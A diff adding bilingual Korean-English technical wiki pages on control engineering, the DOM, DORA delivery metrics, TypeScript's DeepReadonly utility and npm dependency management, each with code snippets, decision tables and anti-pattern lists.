Q = np.diag([1, 1, 10, 10]); R = np.array([[0.1]])
|
||||
P = solve_continuous_are(A, B, Q, R)
|
||||
K = np.linalg.inv(R) @ B.T @ P
|
||||
u = -K @ x # state feedback
|
||||
```
|
||||
|
||||
### MPC with do-mpc
|
||||
```python
|
||||
import do_mpc
|
||||
model = do_mpc.model.Model('continuous')
|
||||
x = model.set_variable('_x', 'x', shape=(2,1))
|
||||
u = model.set_variable('_u', 'u')
|
||||
model.set_rhs('x', np.array([[x[1]],[u - 0.1*x[1]]]))
|
||||
model.setup()
|
||||
mpc = do_mpc.controller.MPC(model)
|
||||
mpc.set_param(n_horizon=20, t_step=0.1)
|
||||
mpc.set_objective(mterm=x[0]**2, lterm=x[0]**2 + 0.01*u**2)
|
||||
mpc.bounds['lower','_u','u'] = -5; mpc.bounds['upper','_u','u'] = 5
|
||||
mpc.setup()
|
||||
```
|
||||
|
||||
### Kalman filter (state estimation)
|
||||
```python
|
||||
def kalman_step(x, P, u, z, A, B, H, Q, R):
|
||||
x_pred = A @ x + B @ u
|
||||
P_pred = A @ P @ A.T + Q
|
||||
K = P_pred @ H.T @ np.linalg.inv(H @ P_pred @ H.T + R)
|
||||
x = x_pred + K @ (z - H @ x_pred)
|
||||
P = (np.eye(len(x)) - K @ H) @ P_pred
|
||||
return x, P
|
||||
```
|
||||
|
||||
### RL policy (PPO via stable-baselines3)
|
||||
```python
|
||||
from stable_baselines3 import PPO
|
||||
import gymnasium as gym
|
||||
env = gym.make("Pendulum-v1")
|
||||
model = PPO("MlpPolicy", env, verbose=1)
|
||||
model.learn(total_timesteps=200_000)
|
||||
```
|
||||
|
||||
### Real-time loop (Linux PREEMPT_RT)
|
||||
```python
|
||||
import time, os
|
||||
os.sched_setscheduler(0, os.SCHED_FIFO, os.sched_param(80))
|
||||
T = 0.001 # 1 kHz
|
||||
while True:
|
||||
t0 = time.perf_counter()
|
||||
u = pid.step(setpoint, sensor.read())
|
||||
actuator.write(u)
|
||||
while time.perf_counter() - t0 < T: pass
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| 매 SISO + linear | PID |
|
||||
| 매 MIMO + linear | LQR / state-space |
|
||||
| Constrained + slow plant | MPC |
|
||||
| Nonlinear + simulator 가능 | RL (PPO, SAC) |
|
||||
| Safety-critical + uncertain | Robust H∞ / sliding mode |
|
||||
| 매 very fast (>10 kHz) | Hardware PID (FPGA) |
|
||||
|
||||
**기본값**: PID with proper tuning + anti-windup; escalate to MPC if multivariable or constrained.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Cyber-Physical-Systems]] · [[Robotics]]
|
||||
- 변형: [[PID]] · [[MPC]]
|
||||
- 응용: [[Digital-Twin]]
|
||||
- Adjacent: [[Kalman-Filter-and-State-Tracking|Kalman-Filter]] · [[Reinforcement-Learning]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 controller derivation explanation, 매 transfer function manipulation, 매 tuning suggestion based on step response, 매 simulation script generation.
|
||||
**언제 X**: 매 actual real-time loop (deterministic 코드 / FPGA). 매 safety certification (formal verification 필요).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **No anti-windup**: 매 actuator saturate 시 integral runaway → overshoot.
|
||||
- **Derivative on error (vs measurement)**: 매 setpoint step 시 derivative kick — derivative-on-PV 사용.
|
||||
- **Tune via trial-and-error only**: 매 system identification 의 사용 (Ziegler-Nichols, FOPDT fit).
|
||||
- **MPC without warm-start**: 매 solve time 의 explode — previous solution 의 reuse.
|
||||
- **No filter on derivative**: 매 measurement noise 가 D term 의 amplify.
|
||||
- **RL on real hardware first**: 매 sim-to-real 의 가야 — safe exploration.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Åström & Murray "Feedback Systems", Skogestad MIMO control, do-mpc docs, IEEE control textbooks).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — control engineering: PID, LQR, MPC, RL, Kalman |
|
||||
@@ -0,0 +1,171 @@
|
||||
---
|
||||
id: wiki-2026-0508-dom
|
||||
title: DOM (Document Object Model)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [DOM, Document Object Model, DOM Tree]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.95
|
||||
verification_status: applied
|
||||
tags: [dom, web, browser, html, javascript]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: javascript
|
||||
framework: browser
|
||||
---
|
||||
|
||||
# DOM (Document Object Model)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 HTML/XML document 의 tree 표현, language-agnostic API"**. W3C 표준 (1998), 현재 WHATWG DOM Living Standard. 매 browser 매 internal representation; 2026 현재 React/Vue/Solid 매 abstraction layer 위에 있지만, performance/edge cases 매 직접 DOM 이해 매 essential.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 구조
|
||||
- **Document** root.
|
||||
- **Element node** (`<div>`, `<p>`).
|
||||
- **Text node** (literal text).
|
||||
- **Attribute** (element 의 property; not separate child node since DOM4).
|
||||
- **Comment node**.
|
||||
- **DocumentFragment** — lightweight sub-tree, not connected.
|
||||
- **ShadowRoot** — encapsulated sub-tree (Web Components).
|
||||
|
||||
### 매 traversal
|
||||
- `parentNode`, `childNodes`, `firstChild`, `lastChild`, `nextSibling`, `previousSibling`.
|
||||
- `children` (Element only), `firstElementChild`.
|
||||
- `querySelector` / `querySelectorAll` — CSS selector.
|
||||
- `closest(selector)` — ancestor matching.
|
||||
|
||||
### 매 mutation
|
||||
- `appendChild`, `insertBefore`, `removeChild`, `replaceChild` (legacy).
|
||||
- `append`, `prepend`, `before`, `after`, `replaceWith`, `remove` (modern).
|
||||
- `cloneNode(deep)`.
|
||||
|
||||
### 매 응용
|
||||
1. Vanilla JS DOM 조작.
|
||||
2. React reconciler 매 virtual DOM diff → real DOM mutation.
|
||||
3. Web Components Shadow DOM encapsulation.
|
||||
4. Server-side render (jsdom, happy-dom) 매 SSR.
|
||||
5. Browser automation (Playwright, Puppeteer).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Modern element creation (no innerHTML)
|
||||
```javascript
|
||||
const card = Object.assign(document.createElement('article'), {
|
||||
className: 'card',
|
||||
});
|
||||
card.append(
|
||||
Object.assign(document.createElement('h2'), { textContent: title }),
|
||||
Object.assign(document.createElement('p'), { textContent: body }),
|
||||
);
|
||||
container.append(card);
|
||||
```
|
||||
|
||||
### Event delegation
|
||||
```javascript
|
||||
list.addEventListener('click', (e) => {
|
||||
const item = e.target.closest('.item');
|
||||
if (!item || !list.contains(item)) return;
|
||||
handleClick(item.dataset.id);
|
||||
});
|
||||
```
|
||||
|
||||
### DocumentFragment — batch insert
|
||||
```javascript
|
||||
const frag = document.createDocumentFragment();
|
||||
for (const item of items) {
|
||||
const li = document.createElement('li');
|
||||
li.textContent = item.name;
|
||||
frag.append(li);
|
||||
}
|
||||
list.append(frag); // single reflow
|
||||
```
|
||||
|
||||
### MutationObserver
|
||||
```javascript
|
||||
const observer = new MutationObserver((mutations) => {
|
||||
for (const m of mutations) {
|
||||
if (m.type === 'childList') console.log('children changed');
|
||||
}
|
||||
});
|
||||
observer.observe(target, { childList: true, subtree: true, attributes: true });
|
||||
```
|
||||
|
||||
### Shadow DOM (Web Component)
|
||||
```javascript
|
||||
class CounterButton extends HTMLElement {
|
||||
#count = 0;
|
||||
connectedCallback() {
|
||||
const root = this.attachShadow({ mode: 'open' });
|
||||
root.innerHTML = `<style>button{padding:8px}</style><button>0</button>`;
|
||||
root.querySelector('button').onclick = () => {
|
||||
this.#count++;
|
||||
root.querySelector('button').textContent = this.#count;
|
||||
};
|
||||
}
|
||||
}
|
||||
customElements.define('counter-button', CounterButton);
|
||||
```
|
||||
|
||||
### Range & Selection
|
||||
```javascript
|
||||
const range = document.createRange();
|
||||
range.selectNodeContents(el);
|
||||
const text = range.toString();
|
||||
```
|
||||
|
||||
### IntersectionObserver — lazy load
|
||||
```javascript
|
||||
const io = new IntersectionObserver((entries) => {
|
||||
for (const e of entries) {
|
||||
if (e.isIntersecting) {
|
||||
e.target.src = e.target.dataset.src;
|
||||
io.unobserve(e.target);
|
||||
}
|
||||
}
|
||||
});
|
||||
document.querySelectorAll('img[data-src]').forEach((img) => io.observe(img));
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| App-level UI | React / Vue / Solid (don't touch DOM) |
|
||||
| Library / web component | Shadow DOM + custom element |
|
||||
| One-off page | Vanilla JS (`querySelector`, `append`) |
|
||||
| Test / SSR | jsdom / happy-dom |
|
||||
| Watch external mutations | MutationObserver |
|
||||
|
||||
**기본값**: framework abstraction; vanilla DOM API for libraries / leaf optimization.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Web Standards]]
|
||||
- 변형: [[Virtual_DOM과_Reconciliation|Virtual DOM]] · [[Shadow DOM]]
|
||||
- 응용: [[React]] · [[Web Components]] · [[Playwright]]
|
||||
- Adjacent: [[CSSOM]] · [[Reflow_and_Repaint|Reflow & Repaint]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: DOM snippet 생성, accessibility audit, querySelector 추천.
|
||||
**언제 X**: real-time interaction (LLM 매 round-trip 너무 느림).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **innerHTML with user input**: XSS.
|
||||
- **Layout thrashing**: read-write-read-write 매 force reflow 매 loop.
|
||||
- **No event delegation**: 매 list item 매 listener → memory leak.
|
||||
- **Detached node leak**: removed but reference 보유 → GC 실패.
|
||||
- **Manipulate DOM in framework-controlled subtree**: React reconciler 와 충돌.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (WHATWG DOM Living Standard 2026, MDN).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — full canonical content with modern DOM APIs |
|
||||
@@ -0,0 +1,184 @@
|
||||
---
|
||||
id: wiki-2026-0508-dora-metrics
|
||||
title: DORA Metrics
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [dora, four-keys, accelerate-metrics]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [dora, devops, metrics, delivery-performance]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: sql
|
||||
framework: github-actions/grafana
|
||||
---
|
||||
|
||||
# DORA Metrics
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 software delivery performance 의 매 4 numbers"**: deployment frequency, lead time for changes, change failure rate, mean time to restore (MTTR). 매 Forsgren/Humble/Kim "Accelerate" (2018) + 매 yearly DORA report 가 매 source-of-truth. 2026 의 매 5번째 metric (reliability) 의 official.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 the 4 (now 5)
|
||||
1. **Deployment Frequency (DF)** — production deploys per period. Elite: on-demand (multiple/day).
|
||||
2. **Lead Time for Changes (LT)** — commit → production. Elite: < 1 day.
|
||||
3. **Change Failure Rate (CFR)** — % deploys causing incident/rollback. Elite: 0–5%.
|
||||
4. **Mean Time to Restore (MTTR)** — incident detection → resolution. Elite: < 1 hour.
|
||||
5. **Reliability** (added 2021/2022 reports) — meeting/exceeding SLO targets.
|
||||
|
||||
### 매 performance bands (2024 report)
|
||||
- **Elite** — frequent deploys, < 1 day LT, 0–5% CFR, < 1h MTTR.
|
||||
- **High** — weekly–monthly, 1 day–1 week, 0–10%, < 1 day.
|
||||
- **Medium** — monthly–6m, 1 week–1 month, 0–15%, < 1 week.
|
||||
- **Low** — < 6m, > 6m, > 64%, > 1 week.
|
||||
|
||||
### 매 accelerators (capabilities)
|
||||
- Trunk-based development.
|
||||
- Continuous integration.
|
||||
- Test automation.
|
||||
- Loosely coupled architecture.
|
||||
- Generative culture (Westrum).
|
||||
- Database change automation.
|
||||
- Empowered teams.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Lead time SQL (GitHub + production deploy events)
|
||||
```sql
|
||||
-- 매 first commit in PR → production deploy 의 measure
|
||||
WITH deploys AS (
|
||||
SELECT service, deploy_id, deployed_at, sha
|
||||
FROM deployments WHERE environment = 'production'
|
||||
),
|
||||
commits AS (
|
||||
SELECT pr.merge_commit_sha AS sha, MIN(c.committed_at) AS first_commit_at
|
||||
FROM pull_requests pr JOIN commits c ON c.pr_id = pr.id
|
||||
GROUP BY pr.merge_commit_sha
|
||||
)
|
||||
SELECT d.service,
|
||||
PERCENTILE_CONT(0.5) WITHIN GROUP (ORDER BY EXTRACT(EPOCH FROM d.deployed_at - c.first_commit_at)) AS lt_p50_seconds,
|
||||
PERCENTILE_CONT(0.95) WITHIN GROUP (ORDER BY EXTRACT(EPOCH FROM d.deployed_at - c.first_commit_at)) AS lt_p95_seconds
|
||||
FROM deploys d JOIN commits c USING (sha)
|
||||
WHERE d.deployed_at > NOW() - INTERVAL '90 days'
|
||||
GROUP BY d.service;
|
||||
```
|
||||
|
||||
### GitHub Actions 의 deploy event emit
|
||||
```yaml
|
||||
- name: Record deployment
|
||||
if: success()
|
||||
run: |
|
||||
curl -X POST "$DORA_API/deployments" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-d "{\"service\":\"orders\",\"sha\":\"${{ github.sha }}\",\"environment\":\"production\",\"deployed_at\":\"$(date -u +%FT%TZ)\"}"
|
||||
```
|
||||
|
||||
### Change failure (PagerDuty + deploy correlation)
|
||||
```ts
|
||||
async function changeFailureRate(service: string, days = 30) {
|
||||
const deploys = await db.deployments.count({ service, since: daysAgo(days) });
|
||||
const failedDeploys = await db.deployments.count({
|
||||
service, since: daysAgo(days),
|
||||
correlatedIncidentWithin: '4h', // 매 incident 가 deploy 후 4h 내 의 fail count
|
||||
});
|
||||
return failedDeploys / deploys;
|
||||
}
|
||||
```
|
||||
|
||||
### MTTR from PagerDuty
|
||||
```ts
|
||||
import { api } from '@pagerduty/pdjs';
|
||||
const pd = api({ token: process.env.PD_TOKEN! });
|
||||
const { data } = await pd.get('/incidents', {
|
||||
data: { since: daysAgo(30), service_ids: [SVC_ID], statuses: ['resolved'] },
|
||||
});
|
||||
const durations = data.incidents.map(i =>
|
||||
(new Date(i.resolved_at).getTime() - new Date(i.created_at).getTime()) / 1000);
|
||||
const mttr = durations.reduce((a,b)=>a+b,0) / durations.length;
|
||||
```
|
||||
|
||||
### Four Keys (Google) on BigQuery
|
||||
```sql
|
||||
-- 매 https://github.com/dora-team/fourkeys 의 reference
|
||||
SELECT
|
||||
COUNTIF(event_type = 'deployment') AS deploys,
|
||||
AVG(TIMESTAMP_DIFF(deploy_time, first_commit_time, MINUTE)) AS lt_minutes,
|
||||
COUNTIF(failed) / NULLIF(COUNTIF(event_type = 'deployment'), 0) AS cfr,
|
||||
AVG(TIMESTAMP_DIFF(resolved_time, incident_time, MINUTE)) AS mttr_minutes
|
||||
FROM `project.four_keys.events_raw`
|
||||
WHERE deploy_time > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 30 DAY);
|
||||
```
|
||||
|
||||
### Grafana dashboard panel (PromQL-style)
|
||||
```promql
|
||||
# Deployment frequency (deploys per day per service)
|
||||
sum by (service) (rate(deployments_total{env="production"}[7d])) * 86400
|
||||
|
||||
# Change failure rate
|
||||
sum by (service) (deployments_failed_total[30d])
|
||||
/ sum by (service) (deployments_total[30d])
|
||||
|
||||
# Lead time p50
|
||||
histogram_quantile(0.5, sum by (le, service) (rate(deploy_lead_time_seconds_bucket[30d])))
|
||||
```
|
||||
|
||||
### Reliability (SLO-aligned 5th metric)
|
||||
```ts
|
||||
// 매 service 의 SLO 의 meeting-or-exceeding 의 % of measurement windows
|
||||
const reliability = await prom.query(`
|
||||
(sum_over_time(slo_compliance{service="$svc"}[30d]) /
|
||||
count_over_time(slo_compliance{service="$svc"}[30d])) * 100
|
||||
`);
|
||||
```
|
||||
|
||||
### Anti-gaming guardrails
|
||||
```ts
|
||||
// 매 metric 의 isolated 의 game 가 가능 — pair 의 always 의 read
|
||||
const elite = (df > 1/day) && (lt < 1*day) && (cfr < 0.05) && (mttr < 1*hour);
|
||||
// 매 elite 가 X 만 high cfr 의 hide 의 X.
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Greenfield team | Adopt Four Keys (open source) on BigQuery |
|
||||
| GitHub-centric | dora-team/fourkeys + Cloud Run pipelines |
|
||||
| Multi-tool | LinearB / Sleuth / Faros AI / Jellyfish (SaaS) |
|
||||
| Self-host | Apache DevLake (LF AI) |
|
||||
| Enterprise governance | Faros + custom dashboards |
|
||||
|
||||
**기본값**: Apache DevLake (open source) or Four Keys reference impl; weekly review with team; show all 4 (5) together — never single metric.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[DevOps]] · [[Continuous-Delivery]]
|
||||
- 변형: [[Engineering-Metrics]]
|
||||
- 응용: [[Trunk-Based-Development]] · [[Continuous-Integration]] · [[SRE]]
|
||||
- Adjacent: [[Postmortem-Culture]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 metric definition explanation, 매 SQL/PromQL query authoring, 매 trend interpretation, 매 retrospective talking points generation.
|
||||
**언제 X**: 매 individual performance evaluation (DORA 의 team-level metric — never individual). 매 metric tuning to look good (gaming).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Single metric optimization**: 매 deploy frequency 의 increase 만 → CFR explodes. 매 4 의 always 의 together 보기.
|
||||
- **Individual performance ranking**: 매 explicitly anti-pattern in DORA research. 매 team-level만.
|
||||
- **Vanity deploys**: 매 empty commits / config-only changes 의 count → meaningless.
|
||||
- **MTTR from "ticket close"**: 매 customer-impact end 의 measure, 매 ticket admin 가 X.
|
||||
- **Comparing teams in different domains**: 매 fintech vs internal tool 의 baselines 가 different.
|
||||
- **No deployment instrumentation**: 매 manual spreadsheet 가 X. 매 auto-emit deploy event.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Forsgren/Humble/Kim "Accelerate" 2018, Google DORA 2024 State of DevOps report, dora-team/fourkeys, Apache DevLake).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — DORA 4(5) metrics, queries, anti-patterns |
|
||||
@@ -0,0 +1,170 @@
|
||||
---
|
||||
id: wiki-2026-0508-deepreadonly
|
||||
title: DeepReadonly
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [deep-readonly, recursive-readonly, immutable-type]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [typescript, type-utility, immutability]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: typescript-5.x
|
||||
---
|
||||
|
||||
# DeepReadonly
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 `Readonly<T>` 의 surface-only — 매 nested mutation 가 still possible"**. 매 DeepReadonly<T> 가 매 recursively 의 every property 의 readonly 의 mark — 매 redux state, config object, frozen domain model 의 essential. TS 5.x 의 매 `const` type parameter + DeepReadonly 가 매 powerful combo.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 vs Readonly
|
||||
- `Readonly<T>` — 매 top-level only. 매 `obj.nested.mutate = X` 가 still allowed.
|
||||
- `DeepReadonly<T>` — 매 every level 의 recursive freeze.
|
||||
|
||||
### 매 type-only vs runtime
|
||||
- DeepReadonly 의 매 compile-time type guarantee — 매 runtime 의 mutation 의 X protect.
|
||||
- 매 runtime freeze 의 `Object.freeze` (shallow) 또는 `deepFreeze` helper 사용.
|
||||
- TypeScript 5.0+ `as const` 의 매 literal-level deep readonly 의 produce.
|
||||
|
||||
### 매 사용처
|
||||
1. Redux/Zustand state shape — 매 mutation prevent.
|
||||
2. Configuration schemas (env config, feature flags).
|
||||
3. API response DTOs after parse.
|
||||
4. Domain entities in DDD value objects.
|
||||
5. Test fixtures (prevent accidental modification).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Basic DeepReadonly
|
||||
```ts
|
||||
type DeepReadonly<T> = T extends (...args: any[]) => any
|
||||
? T
|
||||
: T extends object
|
||||
? { readonly [K in keyof T]: DeepReadonly<T[K]> }
|
||||
: T;
|
||||
|
||||
interface User {
|
||||
id: string;
|
||||
profile: { name: string; tags: string[] };
|
||||
}
|
||||
const u: DeepReadonly<User> = { id: '1', profile: { name: 'a', tags: ['x'] } };
|
||||
// u.profile.name = 'b'; // ❌ Cannot assign
|
||||
// u.profile.tags.push('y'); // ❌ readonly array
|
||||
```
|
||||
|
||||
### Handles Map / Set / Array
|
||||
```ts
|
||||
type DeepReadonly<T> =
|
||||
T extends (infer U)[] ? readonly DeepReadonly<U>[]
|
||||
: T extends Map<infer K, infer V> ? ReadonlyMap<DeepReadonly<K>, DeepReadonly<V>>
|
||||
: T extends Set<infer U> ? ReadonlySet<DeepReadonly<U>>
|
||||
: T extends Promise<infer U> ? Promise<DeepReadonly<U>>
|
||||
: T extends object ? { readonly [K in keyof T]: DeepReadonly<T[K]> }
|
||||
: T;
|
||||
```
|
||||
|
||||
### Brand-aware (preserve nominal types)
|
||||
```ts
|
||||
type Brand<T, B> = T & { readonly __brand: B };
|
||||
type DeepReadonly<T> = T extends Brand<infer U, infer B>
|
||||
? Brand<DeepReadonly<U>, B>
|
||||
: T extends object
|
||||
? { readonly [K in keyof T]: DeepReadonly<T[K]> }
|
||||
: T;
|
||||
```
|
||||
|
||||
### Runtime deepFreeze pair
|
||||
```ts
|
||||
export function deepFreeze<T>(obj: T): DeepReadonly<T> {
|
||||
if (obj && typeof obj === 'object' && !Object.isFrozen(obj)) {
|
||||
Object.freeze(obj);
|
||||
for (const key of Object.keys(obj)) deepFreeze((obj as any)[key]);
|
||||
}
|
||||
return obj as DeepReadonly<T>;
|
||||
}
|
||||
```
|
||||
|
||||
### `as const` + DeepReadonly
|
||||
```ts
|
||||
const config = {
|
||||
features: { newCheckout: true, beta: ['user1', 'user2'] },
|
||||
limits: { rpm: 100 },
|
||||
} as const;
|
||||
// 매 `as const` 가 매 every literal 의 deeply readonly + literal-typed 로 만듦.
|
||||
type Config = typeof config;
|
||||
// Config['features']['beta'] === readonly ['user1', 'user2']
|
||||
```
|
||||
|
||||
### Mutable inverse (DeepWritable)
|
||||
```ts
|
||||
type DeepWritable<T> = T extends (...args: any[]) => any
|
||||
? T
|
||||
: T extends object
|
||||
? { -readonly [K in keyof T]: DeepWritable<T[K]> }
|
||||
: T;
|
||||
|
||||
function clone<T>(x: DeepReadonly<T>): DeepWritable<T> {
|
||||
return structuredClone(x as T) as DeepWritable<T>;
|
||||
}
|
||||
```
|
||||
|
||||
### Zod + DeepReadonly
|
||||
```ts
|
||||
import { z } from 'zod';
|
||||
const UserSchema = z.object({ id: z.string(), tags: z.array(z.string()) }).readonly();
|
||||
type User = DeepReadonly<z.infer<typeof UserSchema>>;
|
||||
```
|
||||
|
||||
### Function args (Redux reducer)
|
||||
```ts
|
||||
function reducer<S, A>(state: DeepReadonly<S>, action: A): S {
|
||||
// state.x = ... // ❌ compile error
|
||||
return { ...(state as S), updated: true } as S;
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Literal config | `as const` |
|
||||
| Generic state shape | `DeepReadonly<T>` utility |
|
||||
| Runtime guarantee 필요 | `deepFreeze` + DeepReadonly |
|
||||
| Performance hot path | 매 type-only DeepReadonly (no runtime cost) |
|
||||
| Library author 가 expose | DeepReadonly + readonly arrays in public API |
|
||||
|
||||
**기본값**: type-only DeepReadonly + `as const` for literals; runtime `deepFreeze` only for security-sensitive boundaries.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[TypeScript-Type-System]] · [[Immutability]]
|
||||
- 변형: [[Readonly]] · [[as-const]]
|
||||
- 응용: [[Zustand]] · [[Domain-Driven-Design]]
|
||||
- Adjacent: [[Branded-Types]] · [[Zod]] · [[Structural-Sharing]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 utility type 의 design / extension, 매 type error explanation, 매 readonly violation 의 codemod 작성.
|
||||
**언제 X**: 매 runtime data validation (Zod 사용). 매 hot-path performance tuning (TS types 가 erased — runtime cost 0).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **함수 type 의 readonly 적용**: 매 `(...args) => any` 가 readonly 의 의미 X — special-case 필요.
|
||||
- **Date / RegExp 의 recurse**: 매 built-in instances 가 깨짐 — exclude 의 type guard.
|
||||
- **DeepReadonly + cast away**: `state as Mutable` 가 매 type safety 의 destroy.
|
||||
- **Runtime mutation through cast**: 매 `(state as any).x = 1` — 매 type lie 의 propagate.
|
||||
- **Naive `keyof T` on union**: distributive conditional 의 사용.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (TypeScript 5.x docs, type-fest library, ts-toolbelt).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — DeepReadonly utility type variants and patterns |
|
||||
+162
@@ -0,0 +1,162 @@
|
||||
---
|
||||
id: wiki-2026-0508-dependencies-의존성
|
||||
title: Dependencies (의존성)
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [npm-dependencies, package-dependencies, supply-chain]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [dependencies, npm, semver, supply-chain]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: javascript
|
||||
framework: npm/pnpm
|
||||
---
|
||||
|
||||
# Dependencies (의존성)
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 dependency 의 liability 가 X asset"**. 매 npm install 이 매 third-party code 를 매 production 에 inject — 매 supply chain attack (event-stream 2018, ua-parser-js 2021, xz-utils 2024 backdoor) 가 매 매년 발생. 2026 modern stack 의 매 pnpm + lockfile + minimum-deps + SBOM (CycloneDX) 가 매 standard.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Dependency 종류
|
||||
- **dependencies**: 매 production runtime 의 사용 (Express, React).
|
||||
- **devDependencies**: 매 build/test only (Vitest, TypeScript, ESLint).
|
||||
- **peerDependencies**: 매 host 가 provide (React plugin 의 React).
|
||||
- **optionalDependencies**: 매 install 실패 가 OK (platform-specific binaries).
|
||||
- **bundledDependencies**: 매 package tarball 안 ship.
|
||||
|
||||
### 매 Semver
|
||||
- `^1.2.3` — minor + patch updates (1.x.x), 매 npm default. 매 unsafe 가 0.x 에서 (^0.2.3 → 0.2.x only).
|
||||
- `~1.2.3` — patch only (1.2.x).
|
||||
- `1.2.3` — exact pin, 매 reproducibility 의 best.
|
||||
- `*` / `latest` — 매 X. 매 절대 사용 X.
|
||||
|
||||
### 매 Lockfile
|
||||
- **pnpm-lock.yaml** / **package-lock.json** / **yarn.lock**: 매 exact resolved versions + integrity hashes.
|
||||
- 매 `npm ci` 사용 (매 install 가 X) — 매 lockfile 강제, deterministic install.
|
||||
- 매 commit 의 must.
|
||||
|
||||
### 매 Supply Chain Risks
|
||||
- **Typosquatting**: `reqeusts`, `lodahs`.
|
||||
- **Compromised maintainer**: 매 ua-parser-js 2021.
|
||||
- **Malicious update**: 매 event-stream 2018, xz-utils 2024.
|
||||
- **Dependency confusion**: 매 internal package name 가 public registry 에 publish 됨.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Pinning + lockfile
|
||||
```json
|
||||
{
|
||||
"dependencies": {
|
||||
"react": "18.3.1",
|
||||
"express": "~4.21.0",
|
||||
"zod": "^3.23.8"
|
||||
},
|
||||
"engines": { "node": ">=20.10.0", "pnpm": ">=9.0.0" }
|
||||
}
|
||||
```
|
||||
|
||||
### pnpm 의 strict install
|
||||
```bash
|
||||
# CI 의 deterministic install
|
||||
pnpm install --frozen-lockfile
|
||||
# 매 lockfile mismatch 시 error.
|
||||
|
||||
# 매 audit
|
||||
pnpm audit --audit-level=high
|
||||
```
|
||||
|
||||
### Renovate config
|
||||
```json
|
||||
// renovate.json
|
||||
{
|
||||
"extends": ["config:recommended"],
|
||||
"lockFileMaintenance": { "enabled": true, "schedule": ["before 5am on Monday"] },
|
||||
"vulnerabilityAlerts": { "enabled": true, "labels": ["security"] },
|
||||
"packageRules": [
|
||||
{ "matchUpdateTypes": ["minor", "patch"], "automerge": true, "matchCurrentVersion": "!/^0/" },
|
||||
{ "matchPackagePatterns": ["^@types/"], "automerge": true }
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### SBOM 생성 (CycloneDX)
|
||||
```bash
|
||||
npx @cyclonedx/cyclonedx-npm --output-file sbom.json
|
||||
# 매 SLSA / EU CRA compliance 의 사용.
|
||||
```
|
||||
|
||||
